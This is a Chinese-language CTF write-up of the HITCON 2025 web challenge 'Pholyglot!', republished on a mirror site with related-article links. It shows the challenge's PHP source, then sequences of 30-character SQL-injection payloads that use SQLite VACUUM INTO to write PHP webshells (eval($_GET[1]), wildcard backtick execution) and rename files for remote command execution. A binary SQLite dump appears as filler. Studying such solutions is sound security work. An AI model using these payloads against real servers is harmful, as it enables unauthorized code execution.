当前位置: 首页 > news >正文

hintcon2025 Pholyglot!

#web 题目名称:Pholyglot!

/readflag 的运行逻辑如下

a5rz@a5rz:~/Desktop/code$ ./read_flag
21 x 26 = ? 1
Wrong!
a5rz@a5rz:~/Desktop/code$ ./read_flag
84 x 76 = ? 1
Wrong!

index.php

<?php// 根据客户端IP地址创建沙盒目录路径$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);// 创建沙盒目录@mkdir($sandbox);// 切换到沙盒目录,失败则退出@chdir($sandbox) or die("err?");// 获取GET参数中的msg值$msg = @$_GET['msg'];// 检查msg是否存在且长度不超过30个字符if (isset($msg) && strlen($msg) <= 30) {// 随机延迟133到3337微秒usleep(random_int(133, 3337));// 创建SQLite数据库连接$db = new SQLite3(".db");// 显式启用异常,便于返回SQL错误信息$db->enableExceptions(true);try {// 执行SQL语句:创建表并插入消息内容$db->exec(sprintf("CREATE TABLE msg (content TEXT);INSERT INTO msg VALUES('%s');", $msg));echo "OK";} catch (Throwable $e) {http_response_code(500);echo "SQL ERROR: " . $e->getMessage();}// 关闭数据库连接$db->close();// 删除数据库文件unlink(".db");} else if (isset($_GET['reset'])) {// 如果设置了reset参数,删除整个沙盒目录@exec('/bin/rm -rf ' . $sandbox);} else {// 默认显示源代码highlight_file(__FILE__);echo $_SERVER['REMOTE_ADDR'];}

发现一个写入文件的方式

文件内容');VACUUM INTO('文件名

这会形成如下语句

CREATE TABLE msg (content TEXT);
INSERT INTO msg VALUES('文件内容');VACUUM INTO('文件名');

服务器默认禁止访问.开头的文件,如果按照此方法我们只能之星三个字符的命令

<?=``;');VACUUM INTO('z.php

通配符的优先顺序按照ASCII码排序,但是我们即使利用通配符也无法利用三个字符将内容写进四个字符的文件名里

');VACUUM INTO('ls');VACUUM INTO('n<?=$a=$GET;/*');VACUUM INTO('o*/`$a[0]`;<?=`*>m`;');VACUUM INTO('m.php

我现在还能怎么办,还有其他更短的方式代替');VACUUM INTO('吗?

Query Language Understood by SQLite

  • aggregate functions
  • ALTER TABLE
  • ANALYZE
  • ATTACH DATABASE
  • BEGIN TRANSACTION
  • comment
  • COMMIT TRANSACTION
  • core functions
  • CREATE INDEX
  • CREATE TABLE
  • CREATE TRIGGER
  • CREATE VIEW
  • CREATE VIRTUAL TABLE
  • date and time functions
  • DELETE
  • DETACH DATABASE
  • DROP INDEX
  • DROP TABLE
  • DROP TRIGGER
  • DROP VIEW
  • END TRANSACTION
  • EXPLAIN
  • expression
  • INDEXED BY
  • INSERT
  • JSON functions
  • keywords
  • math functions
  • ON CONFLICT clause
  • PRAGMA
  • REINDEX
  • RELEASE SAVEPOINT
  • REPLACE
  • RETURNING clause
  • ROLLBACK TRANSACTION
  • SAVEPOINT
  • SELECT
  • UPDATE
  • UPSERT
  • VACUUM
  • window functions
  • WITH clause

或者说现在可用利用通配符顶替一个参数的位置,剩下两个字符可用,还有那些可执行文件可像ls这样利用吗?

~~/bin/rm -rf 遇到特殊文件名会发生漏洞吗?

~~$_SERVER['REMOTE_ADDR']可被伪造吗?

~~sh似乎可行,但是写入的文件有大量垃圾数据,我怎么写入数据才能让其sh时候正常执行?

there');VACUUM INTO('out
SQLite format 3���@  �������������������������������������������������������������������.c�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1KtablemsgmsgCREATE TABLE msg (content TEXT)���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������there

如果我尝试拼凑shell呢?

ASCII码对照表,ASCII码一览表(非常详细) - C语言中文网

<?=eval($_GET[1])?>');VACUUM INTO('dir
');VACUUM INTO('t;a=echo;
');VACUUM INTO('w;f=${IFS};
');VACUUM INTO('u;b=y.php;
');VACUUM INTO('y;c="_GET[0]";
');VACUUM INTO('u;d="$c?>";
');VACUUM INTO('t;e=y.php;
');VACUUM INTO('y;$a$f"$d">>$e
<?=`*>z`;');VACUUM INTO('x.php
<?=eval($');VACUUM INTO('y.php
<?=`* z`;');VACUUM INTO('z.php/sandbox/?/x.php');VACUUM INTO('dash
/sandbox/?/z.php
/sandbox/?/y.php

这优先级怎么这么诡异啊

FQEF 拼了好几小时不想拼了

<?=`*`;');VACUUM into('o.php
');VACUUM into('mv
<?=`ls *>d`;');VACUUM into('o');VACUUM into('e<?=$a=$_GET;
');VACUUM into('eVal($a[1]);?>
');VACUUM into('du;mv d d.php');VACUUM into('bash
<?=`*`;');VACUUM into('z.php

没想到用 mv …

QEF

#任意命令执行 #php #sqllite #sql注入 #字符数限制

http://www.dtcms.com/a/355446.html

相关文章:

  • 辅助驾驶出海、具身智能落地,稀缺的3D数据从哪里来?
  • kubernetes-ubuntu24.04操作系统部署k8s集群
  • 吃透 OpenHarmony 资源调度:核心机制、调度策略与多设备协同实战
  • Linux(二) | 文件基本属性与链接扩展
  • ManusAI:多语言手写识别的技术革命
  • SLF4J和LogBack
  • Linux 命令使用案例:文件和目录管理
  • 从0开始学习Java+AI知识点总结-27.web实战(Maven高级)
  • Python Imaging Library (PIL) 全面指南:PIL基础入门-图像滤波与处理技术
  • python自动化测试工具selenium使用指南
  • AS32S601抗辐照MCU在商业卫星EDFA系统中的应用研究
  • 基于 Selenium 和 BeautifulSoup 的动态网页爬虫:一次对百度地图 POI 数据的深度模块化剖析
  • 033 日志
  • 硬件三人行--运算基础篇
  • 怎样将Word转成高质量的DITA
  • 【涂鸦T5】1. 环境搭建和demo
  • 量化策略布林带解读
  • Java Spring(1)- Spring基础
  • AI提升SEO关键词效果新策略
  • PostgreSQL【应用 04】加解密扩展 pgcrypto 使用实例(加密、导出、导入、解密流程说明)
  • 信息技术发展
  • Flink Redis广播方案
  • 深度学习④【经典卷积神经网络演进:从LeNet到ResNet(重要意义)的架构革命】
  • Uniapp中自定义导航栏
  • 使用qianjkun uniapp 主应用 集成 vue微应用
  • Android 使用MediaMuxer+MediaCodec编码MP4视频
  • 把 AI 塞进「智能手环」——基于心率变异的零样本压力监测手环
  • sqlserver: count(*)
  • TCP和HTTP的keep-alive的区别
  • 嵌入式第四十天(TCP并发服务端(IO多路复用))